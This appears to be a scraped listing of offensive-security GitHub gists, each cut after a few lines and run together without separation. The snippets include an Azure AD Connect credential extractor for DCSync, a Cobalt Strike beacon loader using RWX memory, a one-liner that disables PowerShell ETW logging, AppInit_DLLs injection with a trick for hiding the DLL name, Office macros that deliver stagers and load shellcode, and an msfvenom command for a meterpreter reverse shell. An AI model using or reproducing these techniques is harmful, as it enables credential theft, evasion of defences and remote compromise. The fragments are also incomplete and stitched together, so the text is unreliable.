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@xpn
xpn / azuread_decrypt_msol_v2.ps1
Created April 11, 2020 01:34
Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync
Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Management;
namespace ComAbandonment
{
public class ComAbandonment
{
#include "stdafx.h"
// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread
void spawnBeacon(char *payload, DWORD len) {
HANDLE threadHandle;
DWORD threadId = 0;
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(alloc, payload, len);
@tandasat
tandasat / KillETW.ps1
Last active March 15, 2024 05:20
Disable ETW of the current PowerShell session
#
# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
# to bypass Suspicious ScriptBlock Logging for readability.
#
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
@curi0usJack
curi0usJack / .htaccess
Last active March 13, 2024 10:17
FYI THIS IS NO LONGER AN .HTACCESS FILE. SEE COMMENTS BELOW. DON'T WORRY, IT'S STILL EASY.
#
# TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
#
# Note this version requires Apache 2.4+
#
# Save this file into something like /etc/apache2/redirect.rules.
# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
#
# Include /etc/apache2/redirect.rules
#
@Arno0x
Arno0x / service.cs
Created September 5, 2017 07:57
A basic Windows service written in .Net/c#
/*
Creates a basic Windows Service using .Net framework.
Compile:
c:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe service.cs
Create the service with name "Service":
sc create Service type=own binpath= c:\Path\To\service.exe
Start the service:
@Arno0x
Arno0x / appinitdllinjection.c
Last active October 12, 2023 23:19
AppInit_DLLs injection
// Compile with: cl.exe appinitdllinjection.c /LD /o appinitdllinjection.dll
//
// This DLL can only be injected in a x64 process
//
// Set the registry to automatically load this DLL into 'any' process that is started (at least the ones relying on User32.dll)
// by using the AppInit_DLLs capability:
//
// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs = 'path_to_the_dll' (comma or space separated if required)
// One trick with this registry entry is to separate DLLs with an hex '00' (by editing the value in binary) to hide the DLL name
//
@Arno0x
Arno0x / macro_webdav_delivery.vba
Last active October 12, 2023 23:19
Office macro using WedDav mapping to deliver payload
'
' Example of DBC2 msbuild.xml stager delivery through a webdav maping
' The stager file (msbuild.xml) can be generated from the DBC2 controller
'
' NOTE:
' msbuild.exe is supposed to accept a path straight from a webdav server (ex: msbuild.exe \\webdav_server\msbuild.xml)
' but it fails miserably for me, so I have to have to first map the drive...
Sub Go()
Dim cmd As String, srv As String
@Arno0x
Arno0x / macro_evade_av.vba
Last active October 12, 2023 23:19
Load shellcode in macro, from bibliography souce
#If VBA7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As LongPtr, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As LongPtr, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As Long, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As Long, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As Long
#End If
// Compile with:
// cl.exe x86_meterpreter_reverse_http_xor.c /LD /o x86_meterpreter_reverse_http_xor.xll
//
// C/CPP code obtained like this:
// 1. Get a raw meterpreter shellcode:
// msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=any.website.com LPORT=80 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai > met_rev_winhttp_x86.raw
// 2. Encrypt it with a custom multibyte XOR string (https://github.com/Arno0x/ShellcodeWrapper):
// ./shellcode_encoder.py -cpp met_rev_winhttp_x86.raw testkey xor
#include <Windows.h>